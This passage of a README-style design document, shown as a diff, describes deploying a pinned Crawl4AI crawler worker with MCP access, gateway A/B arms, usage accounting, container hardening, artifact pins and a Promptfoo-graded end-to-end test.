"$HOME/.local/share/codex-ecosystem/tools/crawl4ai-0.9.4/recipe/mcp-config.py" register +``` + +`register` calls `claude mcp add-json crawl4ai --scope local` with explicit +`type: sse`, the private host port, a 180000 ms timeout and `headersHelper`. +Only Claude invokes the helper's `headers` action, reading the existing 0600 +token on connection/reconnection. The config contains no token value. Do not +invoke `headers` interactively. The installed Claude 2.1.283 help confirms +`add-json` and local scope; headersHelper is documented in +[anthropics/claude-code@v2.1.283, CHANGELOG.md:5048,6971](https://github.com/anthropics/claude-code/blob/v2.1.283/CHANGELOG.md#L5048) +and [official MCP documentation](https://code.claude.com/docs/en/mcp). +Explicit SSE follows +[self-hosting.md:404–419](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/docs/md_v2/core/self-hosting.md#L404-L419) +and avoids probing HTTP against the unrestricted SSE route at +[mcp_bridge.py:241–253](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/mcp_bridge.py#L241-L253). + +The role's tools grant is `mcp__crawl4ai__md`, `mcp__crawl4ai__crawl`, with +`mcpServers: [crawl4ai]` sharing the parent's connection. Load those tools via +`ToolSearch "select:mcp__crawl4ai__md,mcp__crawl4ai__crawl"`. Use `md` with +`f=fit|raw|bm25` (`q` for bm25), or non-LLM `crawl`. Do not grant the five other +advertised tools or send `f=llm`/`provider`. Each workflow `agent()` uses its role's +`agentType`, explicit model and `effort: 'max'`. These are consumer grants, not +server-enforced restrictions. Native frontmatter and monitoring semantics are +documented in [subagents](https://code.claude.com/docs/en/sub-agents) and +[monitoring usage](https://code.claude.com/docs/en/monitoring-usage). + +Count invocations in the existing `child-usage.mjs` transcript lane (server key +`crawl4ai`) and independently through OTel `claude_code.tool_result` with +`OTEL_LOG_TOOL_DETAILS=1`, grouped by MCP server/tool and child where available. +Bash dispatch operations appear as Bash tool events. On the server, compare +Gunicorn access logs for `/crawl/job`, `/crawl`, `/md` and native extraction logs; +MCP calls proxy to REST via +[mcp_bridge.py:39–82](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/mcp_bridge.py#L39-L82). +These overlapping client/server observations are never added together. The host +acceptance must observe one successful child SSE call, its transcript/OTel event +and the matching native access-log/metric increment. Argument logging includes +URLs, so keep that telemetry private. + +## Arms + +`CRAWL4AI_ARM=control|engines-on` selects the arm; the default is **control**. +An explicit `--arm` on dispatch takes precedence. The environment overrides +`CRAWL4AI_MODEL` and `CRAWL4AI_BASE_URL` must agree with the selected arm. +`CRAWL4AI_CONTAINER_BASE_URL` is derived and exported by `container.sh`, not an +unvalidated input. LiteLLM adds `openai/` to the model string. + +| Arm | Host URL | Derived container URL | Model | Gateway-only extra header | +| --- | --- | --- | --- | --- | +| control | `http://127.0.0.1:20128/v1` | `http://10.0.2.2:20128/v1` | `cx/gpt-6-astra-max` | none | +| engines-on | `http://127.0.0.1:20129/v1` | `http://10.0.2.2:20129/v1` | `sharedgw/gpt-6-astra-max` | `x-omniroute-compression: allow-lossy` | + +Both arms request **max**. The engines route has exactly one slash. Control also +retains the previously supported `cx/gpt-6-*` overrides. The optional historical +`comparison` arm uses `CRAWL4AI_COMPARISON_MODEL=cx/gpt-6-sol` at medium, through +20128; it does not replace either required arm. The local common requirements +and coordinator's supplied gateway observation define these routes; this repair +does not claim a new gateway measurement. `run.json` and the receipt name the +arm, base URL, model, expected effort and header names without header values. + +## Usage accounting + +Usage is read once at the selected arm's entry gateway, using SQLite `?mode=ro`: +control/comparison uses `~/.local/share/omniroute/storage.sqlite`; engines-on uses +`~/.local/share/omniroute-fw/storage.sqlite`. The reader verifies that the file +exists before opening it and never creates a database. The coordinator must +confirm the engines database belongs to the running 20129 instance. Its forwarded +20128 rows are excluded. No receipt sums gateways or adds cache/reasoning subsets +to input tokens. + +A native OpenAI client injected into LiteLLM attaches a synchronous HTTPX response +hook to capture `X-Correlation-Id` per wire response. IDs remain in memory, are +matched against the entry database, and are stripped from receipts. If capture +is incomplete, attribution falls back to **window + model + path at the entry +gateway**, explicitly marked as potentially concurrent. The allowlisted fields +are `timestamp`, `path`, `status`, `model`, `tokens_in`, `tokens_cache_read`, +`tokens_reasoning`, `correlation_id`, plus `reasoning_effort_requested` and +`reasoning_effort_upstream` required by the effort contract. No other table or +column is read. Sources: the hash-verified **unclecode-litellm==1.81.13** wheel, +`litellm/llms/openai/openai.py:741–790` (client injection), and +[encode/httpx@0.28.1, event-hooks.md:1–52](https://github.com/encode/httpx/blob/0.28.1/docs/advanced/event-hooks.md#L1-L52). +The wheel SHA256 is in pins.json. + +`allowed_openai_params=['reasoning_effort']` preserves the effort parameter in +the fork's `litellm/utils.py:3925–3942,4677–4689`, even though +[Crawl4AI utils.py:1820–1837](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/crawl4ai/utils.py#L1820-L1837) +enables `drop_params`. LiteLLM and OpenAI client retries are zero. For rows with +reasoning tokens greater than zero, both logged efforts must equal the arm's +expected effort. Rows with zero returned reasoning are counted separately; +unknown counters or missing effort on reasoning-bearing rows make evidence +incomplete. Null effort alone does not prove that the request omitted effort: +[OmniRoute@a58000c7, callLogs.ts:642–653](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/usage/callLogs.ts#L642-L653) +sets those fields only for encrypted reasoning observations. + +Engines-on separately samples `GET /api/analytics/compression?since=all` before +and after extraction. Only `totalRequests` and `totalTokensSaved` are retained as +nonnegative counter deltas. Resets, unavailable/auth-refused endpoints and unknown +values yield incomplete evidence, never zero savings. These service-wide deltas +may include concurrent traffic and are not provider-token or causal savings. +Sources: [analytics route:13–24](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/app/api/analytics/compression/route.ts#L13-L24) +and [compressionAnalytics.ts:613–617](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/db/compressionAnalytics.ts#L613-L617). +This source pin is the installed gateway's documented base; host patch behavior +still needs observation. + +## Security posture + +The extraction model produces structured data; it receives no host shell, Python +execution tool, MCP client or arbitrary hook. The recipe grants calling children +only the two non-LLM Crawl4AI tools above. Caller role tools outside this recipe +remain the coordinator's responsibility. Host-owned run/grade/status files live +outside the container's writable crawl/cache/Redis mounts, and raw provider or +server content never supplies receipt routing or usage evidence. + +The runtime container drops all capabilities and adds only `CHOWN`, +`DAC_OVERRIDE`, `SETUID`, `SETGID` for secret/bootstrap ownership and the native +supervisor's appuser transition. It uses `no-new-privileges:true`, a read-only +root, dedicated writable stores and a restricted `/tmp` tmpfs. Redis, Gunicorn +and its browser run as appuser. Bootstrap/supervisor retain container root because +the rootless mapping makes host-owned 0600 secret mounts unreadable to appuser. +The wrapper temporarily owns only the dedicated mount roots for chmod, then +returns them to appuser. Sources: +[Crawl4AI Dockerfile:180–209](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/Dockerfile#L180-L209), +[entrypoint.sh:8–39](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/entrypoint.sh#L8-L39), +[Compose spec@914ec15, 05-services.md:171,1839,1955,2029](https://github.com/compose-spec/compose-spec/blob/914ec15d1fa498969c0df5c1d672306db3256089/05-services.md#L171). +The coordinator must test startup/restart under those restrictions. These limits +apply to the crawler service; the unchanged upstream grader is not containerized +or given additional runtime limits by this repair. + +**Residual network risk:** this recipe does not implement a per-port firewall for +host-loopback access. The reviewed rootless Docker mechanism is daemon-wide +`--disable-host-loopback`, not a per-container port allowlist +([moby/moby@v28.5.1, dockerd-rootless.sh:89–130,147–162](https://github.com/moby/moby/blob/v28.5.1/contrib/dockerd-rootless.sh#L89-L162)). +Docker is unavailable in the builder environment, so no installed-runtime +per-port capability is claimed. Automatic daemon/network changes are declined +in this worktree-only round. Persistent crawling keeps native internal-address +denial and hooks disabled; only the transient fixture project enables internal +URLs. A compromised renderer, or that broad E2E override, may still reach other +host listeners through 10.0.2.2. Before admitting untrusted workloads, the +coordinator must measure isolation and use supported explicit service forwarders +with host-loopback disabled, or an isolated internal network. Authenticated MCP +tool grants and URL checks do not establish that network boundary. + +Python dependencies remain hash-locked wheel-only installs. The grader now uses +`npm ci --ignore-scripts` against its integrity lock, following +[npm/cli@v11.19.0, npm-ci.md:15–24](https://github.com/npm/cli/blob/v11.19.0/docs/lib/content/commands/npm-ci.md#L15-L24). +No lifecycle script is implicitly re-enabled to make a failed host install pass. + +## Pins and artifact provenance + +The [release](https://github.com/unclecode/crawl4ai/releases/tag/v0.9.4) resolves to +commit **`133e1d92e37885dfccc03ea2e3687d06c98b7ceb`**. Machine-readable pins are in +[pins.json](pins.json); the independent registry observation is in +[registry-evidence.json](registry-evidence.json). + +| Artifact | SHA256 | +| --- | --- | +| Official Docker image, Linux amd64 manifest | `048848e548fad60c670bd656cbb3eb204fd999709a30365d3697c411ce50796d` | +| Official multi-platform image index for tag `0.9.4` | `9021b3cb5c6f12570bbcd5395638495e0a06969b3148e377b953d174af2ebc9b` | +| Crawl4AI 0.9.4 PyPI wheel | `46779c8a93b35c7c5f9be9642ddef5e7b515e36b094639bb8e1e418bf0266179` | +| Derived 95-distribution Python 3.12 wheel lock | `515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701` | +| Playwright 1.63.0 Linux x86_64 wheel | `ad21bc07516b187965a7521c5cf0df0bd657b17482eaad74335272d35a2b07de` | +| Headless Chromium 153.0.8010.12 / revision 1243 archive | `a9da028861a0cf789ff25c2fed45f5f1aaf969ed9247835b6a7821a4f7af9d1d` | +| FFmpeg revision 1011 Linux archive | `ebc74fc5b94830176a3c2914ae96bd8bc7f6a91f4f33890230f84a172ee61ccc` | + +Registry manifest bytes were hashed and matched to their `Docker-Content-Digest`; +the image config labels version 0.9.4. Its BuildKit SLSA provenance names the +release commit and [upstream build](https://github.com/unclecode/crawl4ai/actions/runs/35859470077/attempts/1). +This verifies the source association declared by upstream; no signature or runtime +claim is implied. The installer pulls the architecture-specific digest, never a +mutable tag. Docker verifies the downloaded content-addressed layers. + +Wheel digests come from the [PyPI release metadata](https://pypi.org/pypi/crawl4ai/0.9.4/json) +and are enforced by `uv pip sync --require-hashes --only-binary :all:`. The tag's +[`uv.lock`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/uv.lock) has SHA256 +`c672410c737e3085cae56d948854596284b7ac55066a97d9241d91913e3bb8e9`, but predates +the release's `unclecode-litellm==1.81.13` requirement. Using it unchanged would +select the wrong LiteLLM distribution. [research.md](research.md) records this +gap, the exact metadata-only lock command, failed attempts, and corrections. +The derived lock is explicitly local evidence. + +Browser URLs and revisions were read from the verified Playwright wheel, then +the upstream CDN responses were streamed into SHA256. These measured hashes are +not upstream-published signed checksums. [browser-artifacts.json](browser-artifacts.json) +retains URLs, sizes and digests. The installer verifies the archives before +exposing them through a temporary loopback mirror and invoking the unchanged +Playwright installer with `PLAYWRIGHT_DOWNLOAD_HOST`. No unchecked browser +download is needed. Headless Chromium is sufficient for this worker's native +headless browser; Firefox, WebKit and browser OS-dependency installation are +outside this recipe. + +## Supported installation and the selected deployment + +The tag's [README:249–305](https://github.com/unclecode/crawl4ai/blob/v0.9.4/README.md#L249-L305) +documents PyPI installation, browser setup, explicit `python -m playwright install +chromium`, and editable source installation. Its [container instructions:314–333](https://github.com/unclecode/crawl4ai/blob/v0.9.4/README.md#L314-L333) +document the upstream image and port 11235. The [Dockerfile:129–184](https://github.com/unclecode/crawl4ai/blob/v0.9.4/Dockerfile#L129-L184) +builds the package/API dependencies and browser assets. We use that image directly +and a separate hash-locked native venv: API/MCP runtime dependencies stay inside +Docker while host extraction has its own Python dependency closure. + +The coordinator can run these commands after reviewing this directory: + +```bash +bash blueprints/runtime-workers/crawl4ai/install.sh +bash blueprints/runtime-workers/crawl4ai/container.sh start +bash blueprints/runtime-workers/crawl4ai/container.sh status +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh start --run-id crawl-control-001 --arm control +bash blueprints/runtime-workers/crawl4ai/container.sh stop +``` + +`install.sh` requires existing Linux x86_64, Python 3.12, uv 0.12.17, rootless +Docker and Compose, plus Node >=22.22.0 and npm for Promptfoo. It performs no sudo +operation and installs no host OS packages. The upstream +[npm installation](https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/installation.md) +uses the reviewed [grader/package-lock.json](grader/package-lock.json): +`npm ci --ignore-scripts --prefix "$NAS_CRAWL4AI_PREFIX/grader" +--cache "$NAS_CRAWL4AI_STATE/cache/npm" --no-audit --no-fund`. +All 942 dependency entries have registry SHA512 integrity. The lock's SHA256 is +checked against pins.json before installation. The executable is +`grader/node_modules/.bin/promptfoo`; unexpected versions are refused. The lock +was generated with npm 11.19.0 in metadata-only mode: no packages or scripts ran. +The coordinator must verify that the fresh install supports the unchanged +standalone grader, including any native modules, with lifecycle scripts disabled. +The native prefix is `$HOME/.local/share/codex-ecosystem/tools/crawl4ai-0.9.4`. +Owned state lives under +`$HOME/.local/state/native-agent-stack/runtime-workers/crawl4ai/`, with mode 0700 +directories and a private 0600 `host.json`. The template +[config/host.example.json](config/host.example.json) contains placeholders only; +the installed file supplies actual executable paths, ports and working directory. +It is retained on repeat installs. Default ports are API 3730, fixture 3731, +browser mirror 3732 and transient E2E API 3734, all published/bound on 127.0.0.1. +`host.py` accepts only four distinct integer ports in **3730..3799**. Ports +3710..3729 and 5433..5439 belong to S3; 3800..3819 belongs to cognee. The existing +20128/20129 gateways are client destinations. The upstream container's internal 11235 +API and internal Redis listener are not published as host worker listeners. + +The venv has its own `.cache/ms-playwright` reference to the worker's private +browser store. Crawl databases, logs, model/tokenizer caches, temporary files, +run artifacts, and container crawl/cache/Redis stores are separately scoped. +Container browser binaries stay at their baked image path. Persistent and E2E +container stores are separate. Mapped appuser-owned 0700 leaf directories are +left to container startup on a repeated install; the host installer does not +descend into them. + +For additional native Python usage after installation, source the installed +`recipe/common.sh` to select these caches and invoke +`$NAS_CRAWL4AI_PREFIX/venv/bin/python`; use the native classes/settings in +`worker.py` as the pinned extraction example. The environment file is a shell +fragment with no credentials, not a replacement for the host's account stores. + +`install.sh` generates and retains independent random `api_token`, `secret_key` +and `redis_password` files under the private state `secrets/` directory. They are +0600, outside every repository, never printed and never included in a Compose +environment file. The upstream [entrypoint:9–37](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/entrypoint.sh#L9-L37) +reads its token/password secret mounts; our short startup wrapper reads the JWT +signing key privately. [Auth middleware:432–448](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/server.py#L432-L448) +protects API/MCP HTTP and WebSocket routes, using [Bearer token verification](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/auth_gate.py#L75-L126). +Upstream intentionally leaves health and UI shells public. Authenticated MCP +clients must send `Authorization: Bearer `; do not put +credentials in URLs or committed client configurations. + +The image normally uses `appuser` ([Dockerfile:224](https://github.com/unclecode/crawl4ai/blob/v0.9.4/Dockerfile#L224)). +Compose starts the entrypoint as root **inside rootless Docker** so it can read +host-owned secret mounts and initialize only the three dedicated container stores. +The upstream supervisor retains `user=appuser` for Redis and Gunicorn. Its +[deployment template:18–32](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/supervisord.conf#L18-L32) +is adapted only for a second explicit loopback listener and native logging. +Gunicorn's [repeatable bind and log settings](https://github.com/benoitc/gunicorn/blob/23.0.0/gunicorn/config.py) +listen on the container interface plus `127.0.0.1:11235`: the latter is required +by [MCP's internal HTTP proxy](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/server.py#L1183-L1190). +There is no wildcard listener in the recipe. The service has one Gunicorn worker, +2 CPUs, 3 GiB memory, 512 PIDs, 1 GiB shared memory and bounded Docker logs. + +Lifecycle is explicit: the two Compose projects/containers are named +`rw-crawl4ai-persistent` and `rw-crawl4ai-e2e`; their networks are +`rw-crawl4ai-persistent-net` and `rw-crawl4ai-e2e-net`. Every container and network +has `com.native-agent-stack.owner=gpt6-omniroute-framework-integration`. +There are no Docker volume objects: all storage uses the dedicated bind +directories shown in Compose. `stop` removes only the literal container/network +names for its selected project and keeps those directories. No broad Docker +cleanup is used. Rerunning install keeps credentials and private host settings, reuses +verified archives, and syncs the same pins. No daemon, global Docker config, +production service or sign-in is changed. Removal of mapped-UID container stores +requires cleanup from the rootless container identity before deleting the owned +prefix/state; no broad deletion command is supplied. Crash/reboot recovery and +second-host operation remain unmeasured. + +## LLM and token-efficiency settings + +[config/worker.json](config/worker.json) is the secret-free native configuration. +[worker.py](worker.py) follows the official [structured extraction example:15–53](https://github.com/unclecode/crawl4ai/blob/v0.9.4/docs/examples/llm_extraction_openai_pricing.py#L15-L53). + +| Setting | Configuration and upstream source | +| --- | --- | +| Model/provider | Config `arms[arm].model`, overridden by `CRAWL4AI_MODEL`, defaults to the selected arm route; `LLMConfig.provider` receives `openai/` plus that value. [`async_configs.py:2346–2409`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/async_configs.py#L2346-L2409). The engines-on model is restricted to the common contract's one-slash route. | +| Native gateway | `LLMConfig.base_url` is the selected arm's 20128/20129 loopback URL, `api_token=local-loopback`; the key is the gateway's non-secret placeholder. Same source as above. | +| Container gateway | `LLM_PROVIDER`, `LLM_API_KEY`, `OPENAI_BASE_URL` and `LLM_BASE_URL` use the selected arm's `container_base_url`; [`deploy/docker/utils.py:114–138`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/utils.py#L114-L138), [`293–316`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/utils.py#L293-L316). Configured for the host network, but container LLM calls remain outside the qualified contract described below. | +| Arm effort | Control and engines-on both send `reasoning_effort=max` with `allowed_openai_params=["reasoning_effort"]`, preserving the parameter despite upstream `drop_params=True`. See the wheel/file references under Usage accounting. | +| Optional legacy comparison | `arms.comparison` retains `cx/gpt-6-sol` and medium effort through 20128, explicitly selected with `--arm comparison`. This is separate from the required max/max arm pair. | +| Sampling and headers | `LLMExtractionStrategy.extra_args` carries `temperature=None`, stable `x-omniroute-session` per arm/conversation and fresh `Idempotency-Key` per page/logical call. [`extraction_strategy.py:598–617,685–691`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/extraction_strategy.py#L598-L691), [official header example:23–25](https://github.com/unclecode/crawl4ai/blob/v0.9.4/docs/examples/llm_extraction_openai_pricing.py#L23-L25). The explicit None overrides the otherwise hidden temperature 0.01 in [`utils.py:1825–1837`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/utils.py#L1825-L1837); the verified LiteLLM fork drops None before serialization. | +| Structured output | `extra_args.response_format` overrides the native `json_object` default with `json_schema`, `strict:true`, and the frozen schema's `additionalProperties:false` on every object. All properties are required. The user instruction contains JSON. This follows the gateway owner's supplied cognee 1.6.1 observation: a system-only JSON mention is insufficient after it becomes instructions. The native parser reads message content, so this recipe uses strict schema rather than assuming native tool-call parsing. | +| Transport | Native LiteLLM `completion()` uses chat completions, not a Crawl4AI Responses path. The selected extraction implementation expects a complete `response.choices[0].message`; streaming is not enabled. Omitting temperature is the compatible gateway-cache choice. The owner's measured gateway accepts these GPT-6 chat requests; actual wire headers/omission remain host observations. | +| Content selection | `DefaultMarkdownGenerator(content_filter=PruningContentFilterLXML(...))`, `threshold=0.35`, `threshold_type=fixed`, `min_word_threshold=1`; exclude nav/footer/aside; pass only nonempty `fit_markdown` to extraction. [Upstream FIT guide:43–90](https://github.com/unclecode/crawl4ai/blob/v0.9.4/docs/md_v2/core/fit-markdown.md#L43-L90). | +| Budgets | One page per strategy, `apply_chunking=False`, `extra_args.max_tokens=3000`, timeout 180 s. A local 6000-character/4096-estimated-token guard with `word_token_rate=1.3` bounds the one extraction unit. LiteLLM `num_retries=0`, `max_retries=0`, an OpenAI client with `max_retries=0`, and native `LLMConfig.backoff_max_attempts=1` bound calls. [`extraction_strategy.py:556–617,774–835`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/extraction_strategy.py#L556-L617). No silent truncation. | +| Cache/state | `CrawlerRunConfig.cache_mode=CacheMode.BYPASS` for measurement; `CRAWL4_AI_BASE_DIRECTORY` scopes native databases/logs. [`async_database.py:17–21`](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/async_database.py#L17-L21). Filtering bytes are retained independently from provider counters; gateway compression/cache settings remain unchanged. | + +Model validation allows `cx/gpt-6-*` on control/comparison and exactly +`sharedgw/gpt-6-astra-max` on engines-on. It rejects cross-arm, two-slash and +non-GPT-6 routes before resources start. Promptfoo grades the frozen answers +deterministically, without model calls. + +The two-phase crawl/filter/extract sequence prevents the upstream crawler's +[empty-FIT fallback](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/async_webcrawler.py#L925-L935) +from sending unfiltered content to the model. Raw extraction returns and filtered +Markdown stay in private run artifacts; only deterministic products and sanitized +measurements leave the worker. These byte counts are not claimed token savings. +No embedder or embedding endpoint is configured: the pruning filter is local. + +The Docker API has an important narrower boundary. [`/crawl` always deserializes +request configs as untrusted](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/server.py#L974-L976), +and [the allowed types exclude LLM strategies/configs](https://github.com/unclecode/crawl4ai/blob/v0.9.4/crawl4ai/async_configs.py#L181-L199). +The separate [`/llm` implementation](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/api.py#L239-L251) +and [`md` LLM branch](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/api.py#L362-L376) +do not expose `extra_args`. They therefore cannot be presented as satisfying +the required custom headers/temperature omission. Native extraction is the selected +LLM path. A future server release exposing those settings would reopen the +container LLM qualification; current consumer guidance uses `md` FIT/raw/BM25 and +non-LLM `crawl` only. + +## MCP and skills boundary + +The upstream service mounts SSE at `/mcp/sse` with POST `/mcp/messages/`, and +WebSocket at `/mcp/ws` ([bridge:197–256](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/mcp_bridge.py#L197-L256)). +Default consumer URLs are `http://127.0.0.1:3730/mcp/sse` and +`ws://127.0.0.1:3730/mcp/ws`. Authentication comes from the caller's private host +configuration/token reader. Recommend only `md` and `crawl` in a consumer's tool +allowlist; upstream additionally advertises HTML, screenshots, PDF, JavaScript and +ask tools, so discovery of the server alone is not a tool-limit policy. + +No external MCP-client loader or SKILL.md loader was found in the reviewed tag's +source tree/release/CLI sources. Installed-client verification is pending. Thus +there are **no loaded stack MCP servers or linked skill directories inside +Crawl4AI**. [config/mcp-policy.json](config/mcp-policy.json) records this explicitly, +along with the calling workers' required tool limits and exact launch commands +read from the two supplied adoption templates. It is a consumer contract, not +invented Crawl4AI configuration: + +- context-mode excludes `ctx_upgrade` and `ctx_purge`, with its project bound to + the calling worker's directory. +- ai-memory exposes only the five specified read tools; SocratiCode exposes the + four specified read tools and uses `SOCRATICODE_WATCHER=manual`. +- QMD requests select the four named collections explicitly; its server launch + is the template's named index. This is not a claimed server-side collection ACL. +- Headroom's three tools are conditional on otherwise-uncontained outputs. + FIT Markdown supplies this worker's own containment. +- Serena/jCodeMunch apply to coding consumers. There is no jCodeMunch launch entry + in the two supplied templates, and no invented launch command is supplied. + +The pinned stack skill manifest was inspected. Skill discovery also found an +[official Crawl4AI skill archive](https://github.com/unclecode/crawl4ai/blob/v0.9.4/docs/md_v2/assets/crawl4ai-skill.zip) +whose embedded skill is version 0.7.4, dated 2025-01-19. It teaches a calling agent +how to use Crawl4AI. It is not evidence that Crawl4AI consumes SKILL.md, and is not +silently installed as a replacement for the already pinned `$HOME/.agents/skills`. + +The startup inventory is **`[]`**: the selected native runtime has no discovered +SKILL.md loader or skill-list API. `run.json` and the sanitized receipt explicitly +record this limit. No `skill-trigger` or `skill-load` events are claimed; E2E skill +activation is not applicable to this crawler. A future calling-agent integration +must retain its own framework trace showing a listed skill's trigger/load event; +an installed directory or a recipe-emitted message cannot prove activation. + +For a **calling agent that loads SKILL.md**, the only installation path in this +recipe is the coordinator's installer, pending the skills PR that supplies the +new manifest and project/universal options. From the repository root, with that +agent's external workspace selected: + +```bash +python3 tools/adoption/install_skills.py \ + --manifest blueprints/runtime-workers/skills/manifest.json \ + --project-dir "$NAS_CRAWL4AI_WORKSPACE" --agent universal +``` + +The crawler installer does not invoke this conditional command because it has no +skill loader. The unit contract asserts this exact supported lifecycle in the +recipe; no direct copy, symlink or ad-hoc skill download is introduced. + +The WebSocket concern is specific: [the bridge passes bare JSONRPCMessage +objects](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/mcp_bridge.py#L209-L237), +while its declared `mcp>=1.18.0,<2` dependency's [server](https://github.com/modelcontextprotocol/python-sdk/blob/v1.18.0/src/mcp/server/lowlevel/server.py#L597-L601) +and [session reader](https://github.com/modelcontextprotocol/python-sdk/blob/v1.18.0/src/mcp/shared/session.py#L330-L353) +expect SessionMessage wrappers. This is a source compatibility concern, not a +runtime failure already measured against the image. The E2E retains the WebSocket outcome as diagnostic evidence. SSE, authentication, +and native extraction remain required; no WebSocket success is inferred. + +## Frozen E2E and receipts + +[e2e/fixtures/](e2e/fixtures/) contains three authored local HTML product pages +with current facts and distracting archived offers/navigation. The input is a +synthetic fixture. [schema.json](e2e/schema.json), [expected.json](e2e/expected.json) +were frozen before any provider run. **The verdict comes from the unchanged +Promptfoo 0.123.1 `is-json` and `equals` assertions**, configured in +[assertions.json](e2e/assertions.json). `equals` uses upstream deep strict equality +against all 18 fields in `expected.json`, including types and page order. Neither +Python nor JavaScript supplies a custom scorer. The native extraction adapter +removes only Crawl4AI's `error:false` metadata and retains its raw response file. +Expected answers never enter the LLM prompt. + +The supplied W8d report selects Promptfoo's HTTP provider as its primary mapping. +At this Crawl4AI pin, `/crawl` explicitly excludes `LLMConfig` and +`LLMExtractionStrategy` from its untrusted configuration loader +([source](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/crawl4ai/async_configs.py#L181)). +The adopted supported alternative is Promptfoo's +[standalone output grading](https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/configuration/expected-outputs/index.md#running-assertions-directly-on-outputs) +over the native Python trial results. The runner-up, +[Crawl4AI v0.9.4 extraction regression](https://github.com/unclecode/crawl4ai/blob/v0.9.4/tests/regression/test_reg_extraction.py), +checks five fixed products with CSS extraction; it does not exercise GPT-6 or +OmniRoute and was not chosen as the A/B quality grader. + +[check.py](e2e/check.py) only transports a file's UTF-8 text into the documented +JSON string-array format. Its exit 0 certifies transport, never quality; wrong, +empty and malformed outputs reach the upstream grader unchanged. The runner +[grade.py](e2e/grade.py) invokes: + +```bash +promptfoo eval --assertions assertions.json --model-outputs \ + --no-cache --no-share --no-write --no-progress-bar --no-table \ + --max-concurrency 1 -o +``` + +The actual executable is the private pinned installation. Both CLI pass threshold +and failure exit code are fixed to 100; config/log/cache paths are scoped to the +private run directory. Before model calls, the same adapter and assertions run +known-pass, wrong-price and malformed-JSON controls, expecting exit **0/100/100**. +Each arm retains the full upstream report, stdout/stderr, exit code and hashes +binding its input and frozen assertions. Missing, modified or empty reports fail +the receipt gate. The receipt reads upstream success fields rather than scoring +the answer again. Standalone EchoProvider counters are not model usage. + +`run-e2e.sh` uses the installed prefix and private working directory, serves the +frozen pages on host loopback, and starts only the separate `rw-crawl4ai-e2e` +Compose project. The fixture container reaches that host listener through +`10.0.2.2`. Its explicit `CRAWL4AI_ALLOW_INTERNAL_URLS=true` is a broad upstream +[egress override](https://github.com/unclecode/crawl4ai/blob/v0.9.4/deploy/docker/egress_broker.py#L34-L35), +confined to this transient project and removed by the cleanup path. The persistent +service retains the upstream internal-address denial. + +The runner performs unauthenticated denial controls, authenticated API FIT crawling, +SSE and WebSocket initialization/tool calls, then three sequential native extraction +calls for the selected arm. It retains every attempt in a fresh private run directory, +including failures, filtered Markdown, raw extraction results, native logs, time +windows and cleanup outcome. It never retries an entire trial to replace a failed +receipt. Retries are disabled; any extra observed gateway call still makes the +exact-three-call routing gate fail for review. No automatic model promotion occurs. + +[e2e/receipt.py](e2e/receipt.py) uses the selected arm's entry database and +the allowlisted fields documented under Usage accounting. Public receipts contain +hashes and sanitized observations, never raw logs, host paths, credential values, +correlation IDs, or session/request identifiers. The native container log's +`POST /md` count includes direct REST probes and MCP requests together. It is a +route cross-check and never an inferred MCP tool count. Native `CallToolRequest` +counts and the authenticated SSE probe remain separate. Skills remain “none +observed.” +Inputs, schema/oracle, worker/configuration, browser metadata, dependency lock and +deployment files are hashed for reproducibility. + +## Evidence classes and remaining host checks + +| Class | Available evidence / boundary | +| --- | --- | +| Upstream source read | Release/commit, registry provenance, supported installation/configuration, native filtering/extraction and auth/MCP source. This is the basis for the recipe, not native acceptance. | +| Structural/offline checks | Round-1 evidence stays in `verification.json`. Round-3 failing-first and final output is in `verification-round3.json`; previous rounds remain historical; checks cover request configuration, ports/ownership, transport, grader-report binding and receipt redaction. | +| Upstream grader execution | Installed Promptfoo 0.123.1 runs the unchanged assertions on synthetic positive/negative controls. This is actual upstream grader execution, with no new model execution or host installation. | +| Synthetic fixtures | Three authored pages and a frozen exact oracle. Offline positive data is the oracle itself and never described as a provider result. | +| Local host integration | Pending: install/reinstall, Playwright launch, private modes and mapped UID behavior, hardened container startup, protected API, SSE dispatch, diagnostic WebSocket transport, model extraction, headers/effort, native logs, receipt generation and cleanup/restart. | +| Unchanged upstream tests | Not run in this builder. The upstream MCP socket example informed our probe; the 